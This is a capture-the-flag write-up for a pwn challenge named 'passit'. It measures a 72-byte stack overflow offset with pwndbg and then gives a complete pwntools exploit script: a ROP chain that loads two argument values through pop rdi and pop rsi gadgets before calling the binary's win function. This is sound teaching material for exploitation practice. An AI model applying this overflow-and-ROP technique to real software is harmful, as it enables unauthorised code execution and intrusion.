Post

passit

passit

Information

  • category: pwn
  • points: 1000

Description

None

Write-up

This challenge is similar to the classic baby pwn challenge but with an important twist: the win function requires two parameters (parm1 and parm2) to be set correctly to successfully get the flag. From reversing the binary (see the screenshot below), we can see the function prototype for win accepts two arguments. This means a simple return-to-win (ret2win) without setting those parameters won’t work:

To craft a proper exploit, we first need to find the exact offset from the input buffer to the saved return address on the stack. Using pwndbg, we set a breakpoint right before the vulnerable fgets call, which reads user input into the buffer. At this breakpoint, registers and stack pointers give us crucial information about the stack layout. From the debugger output:

1
2
3
4
5
6
Stack level 0, frame at 0x7fffffffdf40:
 rip = 0x401310 in vuln; saved rip = 0x401369
 called by frame at 0x7fffffffdf50
 ...
pwndbg> dist $rax 0x7fffffffdf38
0x7fffffffdef0->0x7fffffffdf38 is 0x48 bytes (0x9 words)
  • $rax points to the buffer start at 0x7fffffffdef0.
  • The saved return address (RIP) is stored at 0x7fffffffdf38.
  • Calculating the distance between these addresses: 0x7fffffffdf38 - 0x7fffffffdef0 = 0x48 bytes (72 bytes).

This tells us the return address lies 72 bytes after the start of the buffer. Therefore, to overwrite the return address, we need to overflow the buffer with 72 bytes of filler, then overwrite the next 8 bytes (on x86_64) with our desired return address.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python3

from pwn import *

exe = ELF("./passit_patched")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("")

    return r


def main():
    r = conn()

    pop_rdi = 0x401196
    pop_rsi = 0x401199
    ret = 0x401016
    payload = b"A" * 72 + p64(ret) 
    payload+= p64(pop_rdi) + p64(0x435343434e0000) 
    payload+= p64(pop_rsi) + p64(0x5a44494b530000)  
    payload+= p64(exe.symbols.win)

    r.send(payload)
    r.interactive()


if __name__ == "__main__":
    main()

Flag

Flag:

This post is licensed under CC BY 4.0 by the author.